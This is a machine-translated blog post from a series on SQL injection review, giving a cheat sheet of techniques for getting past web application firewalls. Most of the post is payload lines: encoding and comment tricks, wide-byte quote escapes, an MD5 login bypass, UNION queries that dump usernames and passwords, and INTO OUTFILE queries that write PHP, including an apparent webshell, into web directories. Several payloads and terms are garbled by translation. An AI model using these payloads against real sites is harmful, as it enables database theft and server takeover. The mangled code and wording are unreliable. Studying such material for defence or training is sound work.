blog.actorsfit.com

SQL injection review (3) - actorsfit

9-12 minutes

Preface

Recalling the past, the prosperous years! The university is already in the junior year, and I have played a lot of games. Looking back on it is quite gratifying! The reason for this series is to leave something and organize the knowledge learned. It is also inspired by the sharing of Micro8 on github, so I want to do some work for future reference. It lasted two weeks. The first series of SQL injection review The article is out! The content is released in four sections, including two sections for SQL injection code audit, one section for WAF bypass, and one section for SQLMAP usage! This is the second part of the SQL injection code audit. Welcome everyone to Zhengzheng and communicate!

Article Directory

- Preface
- @[toc]
- Introduction
- Mysql injects relevant knowledge points
- Waf Bybass summary
- Case bypass injection
- Double write bypass injection
- Encoding bypass injection

- Space filter bypass
- Keywords such as table name are filtered
- Inline comment bypass
- Bypass filtering such as `and, or`
- 00% truncation bypasses keywords
- Comma filter bypass
- Filter greater than less than bypass
- Quotation Marks Bypass
- Filter function bypass
- MD5 injection bypass
- With rollup bypass
- sql closed bypass
- Conclusion

Introduction

SQL injection means that the web application does not judge the legitimacy of the user input data. The parameters passed from the front-end to the back-end are controllable by the attacker, and the parameters are brought into the database to query the attacker. The attacker can construct different SQL statements to achieve arbitrary database operating.

Sql injection needs to meet the following two conditions:

1. User-controllable parameters: The content of the parameters passed from the front-end to the back-end can be controlled by the user.
2. Bringing parameters into the database query: the incoming parameters are spliced into the sql statement and brought into the database query.

When the incoming parameter ID is 1', the code executed by the database is as follows.

```
Select * from users where id =1 '
```

This statement does not conform to the database syntax specification, so an error will be reported. When the incoming parameter is and 1=1, the executed sql statement is as follows

```
Select * from users where id =1 and 1=1
```

Because 1=1 is true, and id=1 in the where statement is also true, the page will return the same result as id=1. When the passed id parameter is and 1=2, the sql statement is always false at this time, so the server will return a different result from id=1

In the actual environment, SQL injection can cause data leakage in the database. In the case of improper security configuration, the attacker may also obtain system permissions and perform file read and write operations.

Ordinary injection audit, you can pass

$_GET

,

$_POST

Waiting for parameter tracking database operation, you can also pass

select, delete, update,insert

Database operation statement anti-tracing parameter transfer.

Mysql injects relevant knowledge points

1. After Mysql 5.0 version, Mysql stores one in the database by default"

   information_shcema

   "" database, in this database, readers need to remember three table names, namely
   SCHEMATA

,
TABLES

with
COLUMNS

. Store the library name, library name and table name, library name and table name, and field name of all databases created by the user.

2. Usage of Limit: Use the format as

   limit m,n

   , Where m refers to the starting position of the record, starting from 0, indicating the first record: n refers to taking n records. E.g
   limit 0,1

   Indicates that starting from the first record, take a record.

3. A few functions to remember

- database()

  : The database used by the current website.

- version()

  : The current version of MYSQL.

- user()

  : The current MySQL user.

4. Comment

   In MYSQL, the expressions of common comment characters are:

   #

   or
   --Space

   or
   /**/

   ,
   ,//, -, --+,,%00,--a

   , - -, ;%00.

5. Inline comments

   The form of inline comments:/*! code */. Inline comments can be used in the entire SQL statement to execute our SQL statement,

   Give a chestnut:

   ```
   Index . PHP? The above mentioned id =-15
   /*!UNION*/ /*!SELECT*/ 1,2,3
   ```

6. MYSQL is not case sensitive, so there is a size bypass.

Waf Bybass summary

Case bypass injection

When keywords are filtered, you can use keyword case to bypass, such as

And 1=1

(Any letter case is fine, such

aNd 1=1,AND 1=1

Wait)

Double write bypass injection

chestnut:

```
and -> anandd , or -> oorr
```

Encoding bypass injection

chestnut:

and

The result of two full URL encoding

%25%36%31%25%36%65%25%36%34

, Encoding URL: http://www.jsons.cn/urlcode/
View Image

Chestnut 2:

```
union select null,null,null from null
```

The result of one URL encoding is View Image

- ASCII encoding bypass

```
select char(60, 63, 112, 104, 112, 32, 64, 101,
118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97,
93, 41, 59, 32, 63, 62)'/web88/login.php' into
outfile
```

The content inside the char function is

<?php phpinfo()?>

.

char()

The function is to convert the ascii code, because of this, you can also use this feature to bypass

htmlspecialchars()

function.

- Hexadecimal encoding bypass You can use hex to bypass the htmlspecialchars() function to write into the webshell.
  chestnut:

```
select
c3f70687020406576616c28245f504f53545b2274657374225d293b203:
into outfile '/web66/login.php'
```

- html entity character encoding

```
SELECT FROM Users WHERE username = &#39;admin&#39;
```

Space filter bypass

+,/**/, double space, carriage return and line feed (%0a,%a0), wide byte (%df), parentheses, %09, %0a,%0b,%0c,%0d,

(the button above the tap key),

tap

Wait

Chestnut 1:

```
? id =1%09 and %091=1%09--
? id =1%0 Dand %0D1=1%0 D --
? id =1%0 Cand %0C1=1%0 C --
? id =1%0 Band %0B1=1%0 B --
? Id =1%0 Aand %0A1=1%0 A --
? Id =1% A0and %A01=1%A0--
```

Chestnut 2:

```
? id =1/*comment*/and/**/1=1/**/--
```

Chestnut 3:

```
? id =(1)and(1)=(1)--
```

Keywords such as table name are filtered

To

information_schema.tables

As an example

- Space
  information_schema. tables
- Emphasis
  informationschema.tables
- Special character
  /!informationschema.tables/
- Alias
  information_schema.(partitions),(statistics),(keycolumnusage),
  (table_constraints)

Inline comment bypass

chestnut:

```
id =1 /*!and*/ 1=1
```

Bypass

and, or

Wait filter

```
&&, ||, %26%26, uppercase and lowercase, double-
case keywords (anandd,andand), coding,
```

chestnut:

```
AND   -> &&
OR    -> ||
=     -> LIKE,REGEXP, not < and not >,RLIKE
> the X-    -> not the BETWEEN 0 and the X-
 WHERE -> HAVING
XOR  ->| #
NOT -> !
The above mentioned id =2 -> id > 1 and id < 3
ID=1 ->!(ID <> 1)
```

00% truncation bypasses keywords

Example:

http://103.238.227.13:10087/?id=-1%20uni%00on%20sel%00ect%201,database()%23

Comma filter bypass

```
LIMIT 0,1  -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1)
SELECT 1,2,3,4  -> UNION SELECT * FROM (SELECT 1)
a JOIN (SELECT 2) b JOIN (SELECT 3) c JOIN (SELECT
4) d
 SUBSTR('KAIBRO',1,1) => SUBSTR('KAIBRO' FROM 1
FOR 1)
```

Filter greater than less than bypass

- greatest(n1,n2,n3…)

  Return the maximum value of n! View Image

- least(n1,n2,n3…)

  : Return the minimum value of n

- strcmp(str1,str2)

  : If all strings are the same, return
  STRCMP()

  , If the first parameter is less than the second according to the current classification order, -1 will be returned, otherwise it will return 1 View Image

- in

  Keyword View Image

- between a and b

  : Range is between ab View Image

Quotation Marks Bypass

- Hexadecimal encoding

```
select column_name from information_schema .
tables where table_name =0x7573657273;
```

- When the character set used by the wide-byte web application is GBK, and the quotes are filtered, you can try wide-byte

```
% bf %27 % df %27 % aa %27
% df\' = % df %5 c %27=缜'
```

Filter function bypass

```
sleep() -->benchmark()
ascii() - >hex() , bin()
group_concat() - >concat_ws()
substr(),substring(),mid() can replace each other
, substring function is also There are
```

```
left(),right()
user() -->@@user,> @@datadir
 ord() - >ascii(): These two functions have the
same effect when dealing with English, but they
are inconsistent when dealing with Chinese.
```

MD5 injection bypass

```
$sql = "SELECT * FROM admin WHERE pass
='".md5($password,true)."'";
```

md5($password,true)

Converting the MD5 value to hexadecimal. The
idea is clear. When the hex after md5 is converted into a string, if it contains a string like'or',
then the entire sql becomes

```
` SELECT * FROM ADMIN WHERE Pass = ''or'xxx'
```

md5("ffifdyop", true) ='or'6] !r, b

, Provide a string
View Image

ffifdyop

, After md5, 276f722736c95d99e921722cf9ed621c
structure:

?password=ffifdyop

With rollup bypass

```
'group by pwd with rollup limit 1 offset 1#
```

Reference blog: https://blog.csdn.net/JBlock/article/details/83311753

---

sql closed bypass

When the id parameter in the code is packed with "" and (). So we

then use such code to inject, or "wrap."

```
$sql="SELECT* FROM users WHERE id=(“ $id ”)
LIMIT0,1"
or
$sql="SELECT* FROM users WHEREid=('$id')
LIMIT0,1";
```

```
? id =1 ” )--+
id =1 ' )--+
```

test

```
" )or " 1 " =( " 1
" ) or1 =1--+
')or'1'=('1 '
 ) or1 =1--+
```

```
ID =-1 " ) Union SELECT 1,2,( SELECT group_concat(
ID ,0x7c, username ,0x7c, password ) from Security
. Users )--+
ID =-1 ' ) Union SELECT 1,2,( SELECT group_concat(
id ,0x7c, username ,0x7c, password ) from security
. users )--+
```

Conclusion

This sharing is about some WAF bypassing postures of SQL injection. Of course, there are various postures under the posture. It is difficult to summarize it completely based on an article. In fact, it is impossible. I can only list the postures I collected. Come out for your reference and communication! If you are interested in other articles in this series, please go to -> Portal:

SQL Injection Review (1)

SQL Injection Review (2)

SQL Injection Review (4)